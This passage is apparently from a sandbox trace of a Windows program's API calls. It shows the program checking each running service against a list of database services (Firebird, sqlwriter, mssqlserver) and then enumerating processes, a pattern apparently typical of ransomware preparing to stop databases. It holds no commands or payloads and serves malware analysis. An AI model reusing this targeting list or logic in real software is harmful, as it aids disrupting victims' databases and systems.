(lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0036.701] lstrlenW (lpString="BITS") returned 4 [0036.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0036.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0036.701] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0036.701] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0036.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0036.701] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0036.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0036.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0036.701] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0036.701] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0036.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0036.701] lstrlenW (lpString="CDPSvc") returned 6 [0036.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0036.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0036.701] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0036.701] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0036.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0036.701] lstrlenW (lpString="ClickToRunSvc") returned 13 [0036.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0036.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0036.701] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0036.701] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0036.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0036.701] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0036.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0036.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0036.701] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0036.701] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0036.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0036.701] lstrlenW (lpString="CryptSvc") returned 8 [0036.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0036.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0036.702] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0036.702] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0036.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0036.702] lstrlenW (lpString="DcomLaunch") returned 10 [0036.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0036.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0036.702] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0036.702] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0036.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0036.702] lstrlenW (lpString="DeviceAssociationService") returned 24 [0036.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0036.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0036.702] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0036.702] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0036.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0036.702] lstrlenW (lpString="Dhcp") returned 4 [0036.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0036.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0036.702] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0036.702] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0036.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0036.702] lstrlenW (lpString="Dnscache") returned 8 [0036.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0036.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0036.702] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0036.702] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0036.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0036.702] lstrlenW (lpString="DPS") returned 3 [0036.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0036.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0036.702] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0036.702] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0036.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0036.702] lstrlenW (lpString="DusmSvc") returned 7 [0036.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0036.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0036.703] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0036.703] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0036.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0036.703] lstrlenW (lpString="EventLog") returned 8 [0036.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0036.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0036.703] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0036.703] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0036.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0036.703] lstrlenW (lpString="EventSystem") returned 11 [0036.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0036.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0036.703] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0036.703] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0036.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0036.703] lstrlenW (lpString="FontCache") returned 9 [0036.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0036.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0036.703] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0036.703] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0036.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0036.703] lstrlenW (lpString="gpsvc") returned 5 [0036.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0036.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0036.703] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0036.703] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0036.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0036.703] lstrlenW (lpString="iphlpsvc") returned 8 [0036.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0036.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0036.703] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0036.703] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0036.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0036.703] lstrlenW (lpString="KeyIso") returned 6 [0036.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0036.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0036.703] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0036.703] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0036.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0036.704] lstrlenW (lpString="LanmanServer") returned 12 [0036.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0036.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0036.704] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0036.704] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0036.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0036.704] lstrlenW (lpString="LanmanWorkstation") returned 17 [0036.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0036.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0036.704] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0036.704] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0036.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0036.704] lstrlenW (lpString="lfsvc") returned 5 [0036.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0036.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0036.704] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0036.704] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0036.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0036.704] lstrlenW (lpString="lmhosts") returned 7 [0036.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0036.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0036.704] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0036.704] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0036.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0036.704] lstrlenW (lpString="LSM") returned 3 [0036.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0036.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0036.704] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0036.704] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0036.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0036.704] lstrlenW (lpString="MpsSvc") returned 6 [0036.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0036.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0036.704] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0036.704] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0036.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0036.705] lstrlenW (lpString="NcbService") returned 10 [0036.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0036.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0036.705] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0036.705] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0036.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0036.705] lstrlenW (lpString="netprofm") returned 8 [0036.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0036.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0036.705] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0036.705] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0036.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0036.705] lstrlenW (lpString="NgcSvc") returned 6 [0036.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0036.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0036.705] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0036.705] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0036.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0036.705] lstrlenW (lpString="NlaSvc") returned 6 [0036.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0036.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0036.705] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0036.705] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0036.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0036.705] lstrlenW (lpString="nsi") returned 3 [0036.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0036.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0036.705] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0036.705] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0036.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0036.705] lstrlenW (lpString="PcaSvc") returned 6 [0036.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0036.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0036.705] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0036.705] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0036.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0036.705] lstrlenW (lpString="PlugPlay") returned 8 [0036.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0036.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0036.706] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0036.706] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0036.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0036.706] lstrlenW (lpString="Power") returned 5 [0036.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0036.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0036.706] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0036.706] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0036.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0036.706] lstrlenW (lpString="ProfSvc") returned 7 [0036.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0036.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0036.706] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0036.706] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0036.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0036.706] lstrlenW (lpString="RpcEptMapper") returned 12 [0036.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0036.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0036.706] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0036.706] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0036.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0036.706] lstrlenW (lpString="RpcSs") returned 5 [0036.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0036.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0036.706] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0036.706] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0036.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0036.706] lstrlenW (lpString="SamSs") returned 5 [0036.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0036.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0036.707] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0036.707] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0036.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0036.707] lstrlenW (lpString="Schedule") returned 8 [0036.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0036.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0036.707] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0036.707] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0036.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0036.707] lstrlenW (lpString="SecurityHealthService") returned 21 [0036.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0036.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0036.707] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0036.707] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0036.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0036.707] lstrlenW (lpString="SENS") returned 4 [0036.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0036.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0036.707] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0036.707] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0036.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0036.707] lstrlenW (lpString="ShellHWDetection") returned 16 [0036.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0036.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0036.707] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0036.707] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0036.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0036.707] lstrlenW (lpString="Spooler") returned 7 [0036.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0036.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0036.707] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0036.707] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0036.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0036.707] lstrlenW (lpString="StateRepository") returned 15 [0036.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0036.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0036.707] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0036.708] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0036.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0036.708] lstrlenW (lpString="SysMain") returned 7 [0036.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0036.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0036.708] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0036.708] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0036.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0036.708] lstrlenW (lpString="SystemEventsBroker") returned 18 [0036.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0036.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0036.708] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0036.708] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0036.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0036.708] lstrlenW (lpString="Themes") returned 6 [0036.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0036.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0036.708] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0036.708] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0036.708] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6d7728 | out: hHeap=0x690000) returned 1 [0036.708] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x240 [0036.715] Process32FirstW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0036.715] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0036.716] lstrlenW (lpString="System") returned 6 [0036.716] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0036.716] lstrlenW (lpString="smss.exe") returned 8 [0036.716] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0036.717] lstrlenW (lpString="csrss.exe") returned 9 [0036.717] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0036.717] lstrlenW (lpString="wininit.exe") returned 11 [0036.717] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0036.718] lstrlenW (lpString="csrss.exe") returned 9 [0036.718] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0036.719] lstrlenW (lpString="winlogon.exe") returned 12 [0036.719] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0036.719] lstrlenW (lpString="services.exe") returned 12 [0036.719] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0036.720] lstrlenW (lpString="lsass.exe") returned 9 [0036.720] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.720] lstrlenW (lpString="svchost.exe") returned 11 [0036.721] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0036.721] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0036.721] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0036.722] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0036.722] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.722] lstrlenW (lpString="svchost.exe") returned 11 [0036.722] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0036.723] lstrlenW (lpString="dwm.exe") returned 7 